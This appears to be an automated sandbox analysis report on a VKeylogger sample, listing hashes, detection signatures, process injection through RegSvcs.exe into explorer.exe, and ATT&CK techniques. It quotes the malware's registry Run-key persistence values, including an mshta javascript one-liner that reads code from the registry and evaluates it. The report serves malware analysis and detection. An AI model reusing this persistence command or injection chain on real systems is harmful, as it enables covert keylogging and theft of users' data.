vkeylogger | 734045009f0b155db1692141832332bb4fdc4511399a67a5e22835a2b72fc7bd

Analysis

max time kernel
119s
max time network
140s
platform
windows10_x64
resource
win10-en-20211208
submitted
15/12/2021, 14:29

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General

Target
tmp/dgt.exe
Size 245KB
Sample211215-rtlwvsafdj
SHA256 734045009f0b155db1692141832332bb4fdc4511399a67a5e22835a2b72fc7bd
MD5 b0e4ad8a749f5a154420e5f6d3eadbe0
SHA1 d9597f8e4d1b35acf9fed9622548946b83947bda
SHA512 dde672033bf3d426a6cedcb774bdca7815f3afab8fcdf8dc93016d3362c85a2e0134505747b96bab2e729533e91add660165aa3de106a5e701f2dbda2b0c8071
MD5 SHA1 SHA512

Score

10^/10

vkeylogger keylogger persistence stealer

Malware Config

Signatures

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 3 IoCs

resource	yara_rule
behavioral2/memory/3188-115-0x0000000000620000-0x000000000062F000-memory.dmp	family_vkeylogger
behavioral2/memory/3188-121-0x0000000000623500-mapping.dmp	family_vkeylogger
behavioral2/memory/2324-123-0x00000000036D0000-0x00000000036DF000-memory.dmp	family_vkeylogger

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeDriver = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Firefox_update = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2480 set thread context of 3188	2480	dgt.exe	69
PID 3188 set thread context of 2324	3188	RegSvcs.exe	70

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3188	RegSvcs.exe
2324	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2324	explorer.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 3188	2480	dgt.exe	69
PID 2480 wrote to memory of 3188	2480	dgt.exe	69
PID 2480 wrote to memory of 3188	2480	dgt.exe	69
PID 2480 wrote to memory of 3188	2480	dgt.exe	69
PID 2480 wrote to memory of 3188	2480	dgt.exe	69
PID 3188 wrote to memory of 2324	3188	RegSvcs.exe	70
PID 3188 wrote to memory of 2324	3188	RegSvcs.exe	70
PID 3188 wrote to memory of 2324	3188	RegSvcs.exe	70

C:\Users\Admin\AppData\Local\Temp\tmp\dgt.exe
"C:\Users\Admin\AppData\Local\Temp\tmp\dgt.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\SysWOW64\explorer.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    PID:2324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2324-123-0x00000000036D0000-0x00000000036DF000-memory.dmp

Download

memory/3188-115-0x0000000000620000-0x000000000062F000-memory.dmp